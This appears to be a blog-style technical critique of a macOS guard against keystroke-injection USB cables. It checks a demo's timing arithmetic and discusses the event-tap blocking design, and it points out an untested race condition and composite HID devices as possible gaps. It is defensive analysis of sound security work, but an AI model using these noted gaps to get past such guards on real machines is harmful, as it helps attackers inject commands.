The arithmetic in the demo does not close. Count the keystrokes in the chain the cable types: Cmd+Space, eight characters of "terminal", Enter, forty-four characters of curl pipeline, Enter, Cmd+Q [3]. Call it 56 events [1]. At over 1,000 words per minute, using the conventional five-character word, that is 5,000 characters a minute, roughly 83 a second, about 12 ms each [2][2]. Fifty-six events at that rate takes about 670 ms [3], which is longer than the sub-500 ms compromise the post reports [4]. Either the cable runs faster than the figure quoted or the stopwatch is round. The same post reaches for a microchip "spamming 100 keystrokes a millisecond", which would be 100,000 a second [5][4]. None of that changes the guard, because the guard never measures typing speed.
The trigger is attachment. IOHIDManager's callback fires when a keyboard appears, the blocking flag flips, and a system-wide CGEventTap returns nil for every keyDown, keyUp and modifier event until a human clicks Approve or Reject [6]. A rate threshold would rest on a number that a firmware revision can move. An attach-triggered window rests only on the attach event, and the author places the tap at the head of the HID event queue so nothing reaches Spotlight or Terminal while it is active [7].
That makes one race load-bearing: the callback has to set isBlockingActive before the first keyDown is delivered to the front application [6]. Nothing in the write-up measures the gap between enumeration and first key.
The matching dictionary is where I would look next. The manager asks for kHIDPage_GenericDesktop with kHIDUsage_GD_Keyboard [10]. Anything that wants keystrokes delivered has to declare something the system treats as a keyboard, so the filter is a fair place to hook. It is still a filter, and a composite device presenting several HID collections is a case to test against it rather than assume.
The DriverKit reasoning is the strongest engineering in the piece. The USB transport entitlement requires manual application and an Apple approval cycle, system extensions want admin prompts and often a reboot, and a bug in a low-level driver can panic the whole machine [8]. The author describes the user-space pairing as identical protection [9]. Identical is doing some work there: a DriverKit driver would sit between the device and the input stack, while an event tap filters events that the OS has already accepted from a device it trusts [8][9]. In my context that is still the right trade, and the context is a personal laptop where I would rather ship something I can uninstall than wait in an entitlement queue.
